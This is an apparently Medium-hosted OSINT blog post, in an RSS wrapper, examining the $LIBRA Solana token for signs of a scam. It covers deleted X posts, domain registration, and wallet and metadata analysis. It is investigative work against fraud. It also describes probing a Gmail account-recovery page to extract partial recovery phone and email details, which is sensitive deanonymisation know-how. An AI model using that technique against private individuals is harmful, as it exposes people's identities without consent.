            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZgxOOxCMn5scDLUkPFtbA.png" /></figure><p>The purpose of this post is not to criticize or take a political stance, but rather to provide researchers and investigators with useful OSINT techniques for analyzing Web3 environments. This scenario is perfect for such an analysis, as it contains multiple elements that allow for a thorough examination.</p><p>I have divided this analysis into three parts:</p><ul><li>Analysis of Twitter (now X) posts</li><li>Analysis of the website and domain</li><li>Analysis of the contract</li></ul><p>Let’s begin:</p><h3>Part 1: Analysis of Twitter (now X) Posts</h3><p>On February 14, an important event took place regarding a suspected scam. The controversy revolved around a cryptocurrency called <strong>$LIBRA</strong>, which was mentioned by a Latin American president.</p><p><strong>Post mentioning the cryptocurrency $LIBRA</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4krGzwOBPsHIKR5IBuZbA.png" /><figcaption>post donde se menciono la cryptomoneda $LIBRA</figcaption></figure><p>However, this post was deleted a few hours later, as confirmed by President Milei: <a href="https://x.com/JMilei/status/1890606683291779195">https://x.com/JMilei/status/1890606683291779195</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*YGmai0SfShtcH_JhBQBGCg.png" /><figcaption>post despues de eliminar el twit donde se mencionaba la cryptomoneda $LIBRA</figcaption></figure><p><strong>Post after deleting the tweet mentioning $LIBRA</strong><br>Shortly after, the value of the cryptocurrency dropped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_7YaVvgtlqpt2_IFo5lYw.png" /></figure><p>Although the tweet no longer exists, the website and the contract remain accessible, allowing us to conduct an analysis and identify patterns. These patterns suggest that the website and the cryptocurrency show signs of being a scam.</p><h3>Part 2: Analysis of the Website and Domain</h3><p>When visiting the website <a href="http://www.vivalalibertadproject.com/"><strong>www.vivalalibertadproject.com</strong></a>, users with <strong>MetaMask installed</strong> receive a <strong>security warning</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdEsrSrDjAHdfqvoM9WJQA.png" /></figure><p>Upon entering, the first thing presented is the <strong>contract address</strong>, which we will analyze in the next section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yogi2XC_UDtLo9na8l2Z6A.png" /></figure><p>Additionally, there are <strong>two buttons labeled “Request Funding”</strong>, which redirect users to a <strong>Google Forms</strong> page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGYnucFctcwgUjRvcnfTzw.png" /></figure><p>This form requests the following information:</p><ul><li>Name</li><li>Email</li><li>Social media accounts</li><li>A description of the project and how the requested funds will be used</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*wgELVFBGqP3Z-sS6EDdedA.png" /></figure><p>This information is easily visible in the <strong>website’s source code</strong> or directly from the browser. However, two additional key pieces of information stand out:</p><ul><li>An <strong>email address</strong></li><li>The name of a <strong>company</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FjOodDMQ0lJrzUYlfquIDA.png" /></figure><p>We also observed that <strong>KIP Network (KIP Protocol)</strong> mentioned the <strong>$LIBRA cryptocurrency</strong> on their X (Twitter) account on February 14.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*4T6qCqh_m0FF-OMtppg6nw.png" /></figure><p>However, their current statement claims that this is a <strong>private project</strong> and that it has <strong>no relation to President Milei</strong>.</p><p>Regarding the <strong>email address</strong>, we noticed that it uses <strong>Gmail</strong>:<br>📧 <strong>vivalalibertadproject@gmail.com</strong></p><p>For serious companies or projects, it is <strong>best practice</strong> to use a corporate email rather than a generic Gmail account, which can be easily created.</p><p>By analyzing the <strong>account recovery options</strong>, we discovered the following:</p><ul><li>The recovery phone number <strong>appears to be from the U.S.</strong> and ends in <strong>72</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2fYleGzG6Pm_UGkESCcew.png" /></figure><ul><li>Another recovery email is a <strong>Gmail account starting with “jo”</strong> followed by <strong>six characters</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PP2UrciFVdDJcfSRWAABQ.png" /></figure><h4>Domain Analysis</h4><ul><li>The <strong>domain was created on February 14</strong>, the same day the cryptocurrency was promoted.</li><li>It was <strong>registered via GoDaddy</strong> and its <strong>DNS zone is hosted on Cloudflare</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*CsxsHwf3n2q-JF5VNUONqw.png" /></figure><ul><li>Interestingly, <strong>one day later</strong>, a similar <strong>.vip domain</strong> was registered through <strong>Namecheap</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*0yRsCeaWGV_Yk47AgmaEMQ.png" /></figure><p>However, the <strong>token linked to the .vip domain is on Ethereum</strong>, while the <strong>original post referenced a Solana-based token</strong> (as we will see in Part 3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jW9uI8CDr-hFQRrOf6uixQ.png" /></figure><p>Additionally, the <strong>Google Forms link</strong> has now been replaced with a <strong>redirect to Uniswap</strong>, leading to a <strong>token flagged as malicious</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/164/1*9PAOzjFL_b-aBJKoynTqig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3cJw6FIumf_UW2XiyyQSIQ.png" /></figure><p>At this stage, we have multiple indicators supporting the hypothesis that this entire setup is a <strong>scam</strong>.</p><h3>Part 3: Contract Analysis</h3><p>The Solana token address provided on the website was:<br>🔗 <strong>Bo9jh3wsmcC2AjakLWzNmKJ3SgtZmXEcSaW7L2FAvUsU</strong></p><p>To analyze it, we checked <strong>Solscan</strong>:<br>🔗 <a href="https://solscan.io/token/Bo9jh3wsmcC2AjakLWzNmKJ3SgtZmXEcSaW7L2FAvUsU">Solscan Token Analysis</a></p><p>Key findings from Solscan:</p><ul><li><strong>Creator Address:</strong><br>🔗 <strong>DefcyKc4yAjRsCLZjdxWuSUzVohXtLna9g22y3pBCm2z</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkMRHVSwU-kiR6ZitYcv4A.png" /></figure><ul><li>This address has a <strong>public label</strong>:<br>🏷 <strong>“Libra: Team Wallet 1”</strong></li><li>The wallet holds <strong>multiple suspicious tokens</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4jooHdykixUNNNrXzgj_A.png" /></figure><h4>Token Holders Analysis</h4><ul><li><strong>Four wallets hold over 90% of the total cryptocurrency supply</strong>, including the creator’s wallet.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2REFIz2rDb6gVaCPIKYvQ.png" /></figure><h4>Metadata Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Acta8qR7n9WZpGgQ_2byGA.png" /></figure><ul><li><strong>Mint:</strong> &quot;Bo9jh3wsmcC2AjakLWzNmKJ3SgtZmXEcSaW7L2FAvUsU&quot;This confirms that it is a <strong>Solana token</strong>, likely an <strong>SPL Token or NFT</strong>.</li><li><strong>Update Authority:</strong> &quot;DefcyKc4yAjRsCLZjdxWuSUzVohXtLna9g22y3pBCm2z&quot;This <strong>user can modify</strong> the token’s metadata.</li><li><strong>URI:</strong>&quot;https://gateway.pinata.cloud/ipfs/bafkreignny757l6mm3n7s3ix7sxoazstqwvredp3qfeje...&quot;</li><li>Hosted on <strong>IPFS (Pinata)</strong>, likely containing additional token details (image, description, etc.). Upon opening this <strong>URI</strong>, we observed the following message:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zk9LimZeTUcUhMBvaCvUSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*nviwCs6dRM8AmGF6zfa_-w.png" /></figure><ul><li><strong>Seller Fee Basis Points:</strong> 0This means <strong>no resale fees</strong>, often a red flag in scam projects.</li><li><strong>Creators:</strong> &quot;DefcyKc4yAjRsCLZjdxWuSUzVohXtLna9g22y3pBCm2z&quot;This address has <strong>100% ownership</strong>.</li><li><strong>Token Standard:</strong> 2Confirms that this is a <strong>Solana SPL token or NFT</strong>.</li></ul><h3>Conclusion</h3><p>Through this <strong>OSINT Web3 investigation</strong>, we identified <strong>multiple indicators</strong> pointing toward this being a <strong>potential scam</strong>.</p><ul><li>The <strong>Twitter (X) post</strong> was <strong>deleted</strong>, yet the project remains active.</li><li>The <strong>website</strong> triggers <strong>security warnings</strong> and was <strong>registered on the same day as the promotion</strong>.</li><li>The <strong>contract analysis</strong> reveals <strong>centralized ownership</strong>, <strong>suspicious metadata</strong>, and <strong>high concentration of funds in a few wallets</strong>.</li></ul><p>This case serves as a <strong>valuable example of how to apply OSINT techniques to Web3 investigations</strong>, analyzing on-chain and off-chain data to identify fraudulent projects.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf9cd7846b19" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>